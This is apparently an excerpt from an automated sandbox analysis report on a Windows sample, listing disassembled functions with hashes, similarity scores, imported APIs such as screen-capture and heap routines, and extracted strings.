Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd8c0aa2e4756bca5145e408a61d45879c76279b677a0c8932260fb4f7fd83e0
Instruction ID: f69b9f6b8000e6b46623ef34ae7501674bf8b1bf4eb0a85e473c9adb4ef81dbf
Opcode Fuzzy Hash: cd8c0aa2e4756bca5145e408a61d45879c76279b677a0c8932260fb4f7fd83e0
Instruction Fuzzy Hash: 74C19A709007468FDB34CE68C994ABABFE1FF05300F244AE9D8569BAE1D731AD45CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0714E2DC Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ade4c937e47ca8a77973d8aff4239f30b913575760c026f6053e06f9bfc4eff0
Instruction ID: 1b1bef67f73e8d3db48c906bf74c99b2993d87c8d4b286d6ee5e118fb7176608
Opcode Fuzzy Hash: ade4c937e47ca8a77973d8aff4239f30b913575760c026f6053e06f9bfc4eff0
Instruction Fuzzy Hash: 10C1BCF4900607CFCB2ACF78C584A7ABBB1BF06610F184A59D4969B6D1D731E94ECB12

Uniqueness

Uniqueness Score: -1.00%

Function 0714E63B Relevance: .3, Instructions: 328COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42d9483f7e748ff794be881920e510b4f3d044295197665a4205cd1f274425dc
Instruction ID: 80c15d0a17428a4d65e617284b2993c72b0ed38e0184fbfad9f07b2b03137337
Opcode Fuzzy Hash: 42d9483f7e748ff794be881920e510b4f3d044295197665a4205cd1f274425dc
Instruction Fuzzy Hash: 2DB1E3F4A00607DBCB2ACF68C984ABEBBF1FF45221F44451DD486A76D0D731A94ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B1CEA1 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e011395cb175c35b5bc7461548578bf8f842001788754bf484e4ac9115ac5951
Instruction ID: 5254244cc08038a01c4383ed12af7eee21464dbfbabe3c431ed22236dede99b4
Opcode Fuzzy Hash: e011395cb175c35b5bc7461548578bf8f842001788754bf484e4ac9115ac5951
Instruction Fuzzy Hash: CBB128355007019BCB389B28CC92BF7B7E9EF44308F9445ADEA83D6580EA75E9C6C710

Uniqueness

Uniqueness Score: -1.00%

Function 0715F43E Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 0f820c8e8eac8c2b541148af411fa5cf0964c1f182dd81c2d4c0dce18bb12831
Instruction ID: 90c8d5b83d21b9ba3ce3513fd88ab83fd7b828c31295f4a71f0b7ec8fb5ecf6e
Opcode Fuzzy Hash: 0f820c8e8eac8c2b541148af411fa5cf0964c1f182dd81c2d4c0dce18bb12831
Instruction Fuzzy Hash: 4CB1F2B5610706CBDB3D9F24C891AB7B3ADEB04308F44452DEDA2C65D0EB75A686CB10

Uniqueness

Uniqueness Score: -1.00%

Function 0714DF9A Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 303fa6e8e7cccee89858934cc2b7aadd3ed97aac2c96ce796d843d3b87fa15f1
Instruction ID: 6c0a8020c3fd6a4e05fe7bbc1179a39f89ce95f56e49b3b94d1cbaa0574582e7
Opcode Fuzzy Hash: 303fa6e8e7cccee89858934cc2b7aadd3ed97aac2c96ce796d843d3b87fa15f1
Instruction Fuzzy Hash: 77B1B3F0A0060BCBCB3ACF68C558ABEBBB5BF05710F14065DD5A2976D0C735A64ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 00B18314 Relevance: .3, Instructions: 270COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edbe86973704fb27d27f5a83095aa9d0f1951395b239acbe5b5a479f220ae100
Instruction ID: b39f10d0588b3a063d0fa3e539c56c8eaa1433326678b71be20a2e44a97845c0
Opcode Fuzzy Hash: edbe86973704fb27d27f5a83095aa9d0f1951395b239acbe5b5a479f220ae100
Instruction Fuzzy Hash: 83B16E31610609DFD715CF28C486BA57BE1FF45364F698698E8DACF2A1CB35E981CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00B23450 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1a2cadbba539e4c62cc782b060ecba9fc1882fd459c4f9af5daf2a413be3566
Instruction ID: 8290b8049758af0938240928aaf213a40134f60dd08efc708c4c461a014094b4
Opcode Fuzzy Hash: c1a2cadbba539e4c62cc782b060ecba9fc1882fd459c4f9af5daf2a413be3566
Instruction Fuzzy Hash: 718113B4E042659FDB11CF58E9D17BEBBF9EF19B00F0401A9D958A7342C7399A09C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00BCC0A0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f753aa0a7b3ad45325a79920d8d1eac84e5359a134935aa44c77e0bff9ecb00d
Instruction ID: 648c559efcb76d05246ef1d2924d21e25a72f526d4203ef25ca0e5e2113fd318
Opcode Fuzzy Hash: f753aa0a7b3ad45325a79920d8d1eac84e5359a134935aa44c77e0bff9ecb00d
Instruction Fuzzy Hash: CE6153716301684FD798CF5EFCC072EB761E38A301785461AEB81DB296C635E926DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00CA3BC5 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fba18c3f4870a481d30c0eda28fc5c78b65c045dc388332d5521094a41a08e9b
Instruction ID: b42bbc2a66e57d4a6977a309d43e1cc1b817106408f291efb9ccae02630b7bf6
Opcode Fuzzy Hash: fba18c3f4870a481d30c0eda28fc5c78b65c045dc388332d5521094a41a08e9b
Instruction Fuzzy Hash: 07312632F007218BE714E97ADCE15E7B3C2679A730B28D63AC584CB785E631850E9690

Uniqueness

Uniqueness Score: -1.00%

Function 00B01A30 Relevance: .1, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: da52b862bc7971d7cc98df37460c1dd2a37d73a2c90b021a6dd370e8e55b54ae
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 63112B7734308243D60CCA7DC8B46B6AFD5EBC532172D8BFAD0628B7D4D222E9459610

Uniqueness

Uniqueness Score: -1.00%

Function 00CBA212 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4491881500.0000000000C88000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.4491456488.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491544034.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491798965.0000000000C52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491823337.0000000000C5A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4491854790.0000000000C82000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492078293.0000000000E65000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492121485.0000000000E66000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4492393674.00000000011D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 311f443a885d4baa30e62b26929b40aa4366b037359f97c302b91efe04403e0b
Instruction ID: 192415737dcb4041cb31052c31b2c9245c262769a48461713f5a5f4ef243d350
Opcode Fuzzy Hash: 311f443a885d4baa30e62b26929b40aa4366b037359f97c302b91efe04403e0b
Instruction Fuzzy Hash: 12C08C0A020310528F01891C06023AA7ABCFD00300BE0A504E5820A220DF20C205270A

Uniqueness

Uniqueness Score: -1.00%

Function 0712BCB0 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 294threadwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0712BCDB
GetCurrentThreadId.KERNEL32 ref: 0712BDBB
GetThreadDesktop.USER32(00000000), ref: 0712BDC2
GetWindowTextA.USER32(?,?,00000104), ref: 0712BE0C
GetAncestor.USER32(?,00000002), ref: 0712C032
MoveWindow.USER32(?,0000000A,0000000A,0000000A,0000000A,00000001), ref: 0712C057
GetWindowRect.USER32(?,0000000A), ref: 0712C065
CreateCompatibleDC.GDI32(?), ref: 0712C06F
CreateCompatibleBitmap.GDI32(?,?,?), ref: 0712C08A
SelectObject.GDI32(?,?), ref: 0712C09B
PrintWindow.USER32(?,?,00000000), ref: 0712C0AB
BitBlt.GDI32(?,?,?,?,?,?,00000000,00000000,00CC0020), ref: 0712C0DC
DeleteObject.GDI32(?), ref: 0712C0ED
DeleteDC.GDI32(?), ref: 0712C0F7

Strings

J9q=, xrefs: 0712BE59
J9q=, xrefs: 0712BE98
J9q=, xrefs: 0712BF58
J9q=, xrefs: 0712BF97

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Window$CompatibleCreateDeleteObjectRectThread$AncestorBitmapCurrentDesktopMovePrintSelectText
String ID: J9q=$J9q=$J9q=$J9q=
API String ID: 1231464646-3608468481
Opcode ID: c315f298d1241ade4ba196fc2fd9fff14e8a2879cb5053dc9a2cb6b87515bd12
Instruction ID: b172bf21701aad1af110f1a4940598360a89433038053217e2d1feb9d304194c
Opcode Fuzzy Hash: c315f298d1241ade4ba196fc2fd9fff14e8a2879cb5053dc9a2cb6b87515bd12
Instruction Fuzzy Hash: BCE17DB5D04258DFCB16CFA8D981AEEFBB5BF48304F148289D949B7281D7346A85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 0713CF60 Relevance: 29.9, APIs: 2, Strings: 15, Instructions: 198windowthreadCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,00000100,00000000,?,?,00000000), ref: 0713D07E
GetCurrentThreadId.KERNEL32 ref: 0713D0ED

Strings

, xrefs: 0713D12F
(caller: %p) , xrefs: 0713D0D8
%hs!%p: , xrefs: 0713D0B6
ReturnHr, xrefs: 0713CFF3, 0713D104
FailFast, xrefs: 0713D015
CallContext:[%hs] , xrefs: 0713D15D
LogHr, xrefs: 0713D006
Msg:[%ws] , xrefs: 0713D146
[%hs(%hs)], xrefs: 0713D177
Exception, xrefs: 0713CFE8
[%hs], xrefs: 0713D190
%hs(%d) tid(%x) %08X %ws, xrefs: 0713D105
LogNt, xrefs: 0713D00B
ReturnNt, xrefs: 0713CFF8
%hs(%u)\%hs!%p: , xrefs: 0713D0A0

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: CurrentFormatMessageThread
String ID: $%hs!%p: $%hs(%d) tid(%x) %08X %ws$%hs(%u)\%hs!%p: $(caller: %p) $CallContext:[%hs] $Exception$FailFast$LogHr$LogNt$Msg:[%ws] $ReturnHr$ReturnNt$[%hs(%hs)]$[%hs]
API String ID: 2411632146-1363043106
Opcode ID: 05019197d51b871cb28e41930202b15cd33c9ff331e60cc54cf23959a1ffeadb
Instruction ID: 1a46cd131e2e3a358182fdf9f14aaef2228e97e391dd938ee5c5eafa4b036d97
Opcode Fuzzy Hash: 05019197d51b871cb28e41930202b15cd33c9ff331e60cc54cf23959a1ffeadb
Instruction Fuzzy Hash: EE61E2F4A40309BFEB249F25DC49F67B7B9EB84B15F04455CE845A76C0E770A940CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0710D950 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 132memorywindowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0710D958
CreateCompatibleDC.GDI32(?), ref: 0710D965
CreateDIBSection.GDI32(?,00000028,00000000,00000000,00000000,00000000), ref: 0710D9C5
SelectObject.GDI32(?,?), ref: 0710D9F5
BitBlt.GDI32(?,00000000,00000000,?,00000000,?,00000000,00000000,00CC0020), ref: 0710DA18
ReleaseDC.USER32(00000000,?), ref: 0710DA24
GetProcessHeap.KERNEL32(00000000,?), ref: 0710DA38
HeapAlloc.KERNEL32(00000000), ref: 0710DA3F
GetProcessHeap.KERNEL32 ref: 0710DA54
HeapSize.KERNEL32(?,00000000,00000000), ref: 0710DA67
GetProcessHeap.KERNEL32 ref: 0710DA80
HeapReAlloc.KERNEL32(?,00000000,?,?), ref: 0710DA97
DeleteObject.GDI32(?), ref: 0710DABC
DeleteDC.GDI32(?), ref: 0710DAC6

Strings

(, xrefs: 0710D97E

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Heap$Process$AllocCreateDeleteObject$CompatibleReleaseSectionSelectSize
String ID: (
API String ID: 119000666-3887548279
Opcode ID: c5e0e31cde2f74749f456dd0c990ed62d8c9705003ca0181801152d6071b4e21
Instruction ID: 891c8ed3d4248a2239a1ecb320b415dad591903d500a747c408b6b109feb9f21
Opcode Fuzzy Hash: c5e0e31cde2f74749f456dd0c990ed62d8c9705003ca0181801152d6071b4e21
Instruction Fuzzy Hash: 5F51A8B5A00208EFDB04DFE4D945BEEBBB9FF48701F504158E905A7280D775A940CB64

Uniqueness

Uniqueness Score: -1.00%

Function 07142770 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 212libraryloaderCOMMON

Download Yara Rule

APIs

RoGetActivationFactory.API-MS-WIN-CORE-WINRT-L1-1-0(?,00000001,099AB7CE,099AB7CE,?,00000000,00000044,?,?,?,?,?,?,07167EE0,000000FF), ref: 071427CB
LoadLibraryExW.KERNEL32(combase.dll,00000000,00001000,?,00000001,099AB7CE,099AB7CE,?,00000000,00000044,?,?,?,?,?,?), ref: 071427E6
GetProcAddress.KERNEL32(00000000,CoIncrementMTAUsage), ref: 071427F1

Strings

CoIncrementMTAUsage, xrefs: 071427EB
combase.dll, xrefs: 071427E1
DllGetActivationFactory, xrefs: 0714293A

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ActivationAddressFactoryLibraryLoadProc
String ID: CoIncrementMTAUsage$DllGetActivationFactory$combase.dll
API String ID: 935683589-2993125632
Opcode ID: cffeeb6ea6d74487f08b3503b0d18a64886d51d45cc7b41d6e22bb7fc25e12f4
Instruction ID: 159aa0cc5c3fcb0b0e60a029da028f57b4765ae3e84157df53d827b0e2b8aa83
Opcode Fuzzy Hash: cffeeb6ea6d74487f08b3503b0d18a64886d51d45cc7b41d6e22bb7fc25e12f4
Instruction Fuzzy Hash: DE713AF1910219EBCB25EFA4CC44BEEBBB8BF48310F044529F911A72D0DB70A985CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0710F630 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 228memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 0710F8DF
GetProcAddress.KERNEL32(?,?), ref: 0710F8F0
GetProcessHeap.KERNEL32 ref: 0710F900
HeapAlloc.KERNEL32(00000000,00000000,?), ref: 0710F926
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0710F95A
HeapAlloc.KERNEL32(00000000,00000000,10000000), ref: 0710F980
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0710F99B

Strings

J9q=, xrefs: 0710F71D
txn , xrefs: 0710F6B4
&9q=, xrefs: 0710F832
J9q=, xrefs: 0710F87D

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: Heap$AllocFree$AddressHandleModuleProcProcess
String ID: &9q=$J9q=$J9q=$txn
API String ID: 685132064-2476825720
Opcode ID: bddffdd1d6ecc1d75794d13d4791975f2987f14d41a76da6605eec83935dc0d6
Instruction ID: 0a766c5081fa765b950c55bdbf325bb478b2365745caf7ec97747de41df95b5d
Opcode Fuzzy Hash: bddffdd1d6ecc1d75794d13d4791975f2987f14d41a76da6605eec83935dc0d6
Instruction Fuzzy Hash: 49C1E174D04698DBDB26CFA8C941AEDFBB1BF58304F148299D988B7351E7301A86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 07160E0B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 07160AC4: CreateFileW.KERNEL32(?,00000000,?,07160EB4,?,?,00000000,?,07160EB4,?,0000000C), ref: 07160AE1

GetLastError.KERNEL32 ref: 07160F1F
__dosmaperr.LIBCMT ref: 07160F26
GetFileType.KERNEL32(00000000), ref: 07160F32
GetLastError.KERNEL32 ref: 07160F3C
__dosmaperr.LIBCMT ref: 07160F45
CloseHandle.KERNEL32(00000000), ref: 07160F65
CloseHandle.KERNEL32(071570F0), ref: 071610B2
GetLastError.KERNEL32 ref: 071610E4
__dosmaperr.LIBCMT ref: 071610EB

Strings

H, xrefs: 07161070

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: edfdbfbb221d80ec9e6583a3880aed79ad7e36052fd4eea4fdfcb215f7c65e5f
Instruction ID: a3fb0249f871127c37ac19cc9c35319d7bd06088925ea65531d6cb1151374a6a
Opcode Fuzzy Hash: edfdbfbb221d80ec9e6583a3880aed79ad7e36052fd4eea4fdfcb215f7c65e5f
Instruction Fuzzy Hash: 61A158B2A101599FCF19EF68DC95BAE3BB5AF0A324F19015DE801AF3C0D7359862CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0713ED40 Relevance: 16.6, APIs: 11, Instructions: 111memorywindowCOMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(00000000), ref: 0713ED9A
SysFreeString.OLEAUT32(00000000), ref: 0713EDB8
SysFreeString.OLEAUT32(00000000), ref: 0713EDCC
SysFreeString.OLEAUT32(00000000), ref: 0713EDE4
SysStringLen.OLEAUT32(00000000), ref: 0713EDF5
SysFreeString.OLEAUT32(00000000), ref: 0713EE07
SysFreeString.OLEAUT32(00000000), ref: 0713EE1B
SysFreeString.OLEAUT32(00000000), ref: 0713EE2F
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000,00000000), ref: 0713EE52
GetProcessHeap.KERNEL32(00000000,00000000,00000000), ref: 0713EE72
HeapFree.KERNEL32(00000000,00000000,00000000,00000000), ref: 0713EE78

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7100000_file.jbxd

Similarity

API ID: String$Free$Heap$FormatMessageProcess
String ID:
API String ID: 441299210-0
Opcode ID: f3197176b1e5f4f0dee9fcd9c19c2c3d8f92eb3ef77885e273d2ff28d17033f0
Instruction ID: e0a0b1eef87607d40f74b5eb688ef8e0da6d1f6c7f8e5d51d92426178b499bca
Opcode Fuzzy Hash: f3197176b1e5f4f0dee9fcd9c19c2c3d8f92eb3ef77885e273d2ff28d17033f0
Instruction Fuzzy Hash: 8431FBF0A10309EBDF20EFA5C844B9EB7B9EF44740F148599E811BB2C0D774EA188B91

Uniqueness

Uniqueness Score: -1.00%

Function 071422F0 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 351threadCOMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 071422F5

Part of subcall function 071433BA: std::invalid_argument::invalid_argument.LIBCONCRT ref: 071433C6

GetCurrentThreadId.KERNEL32 ref: 07142466

Strings

vector too long, xrefs: 071422F0

Memory Dump Source

Source File: 00000000.00000002.4494450773.0000000007100000.00000040.00001000.00020000.00000000.sdmp, Offset: 07100000, based on PE: true

Joe Sandbox IDA Plugin

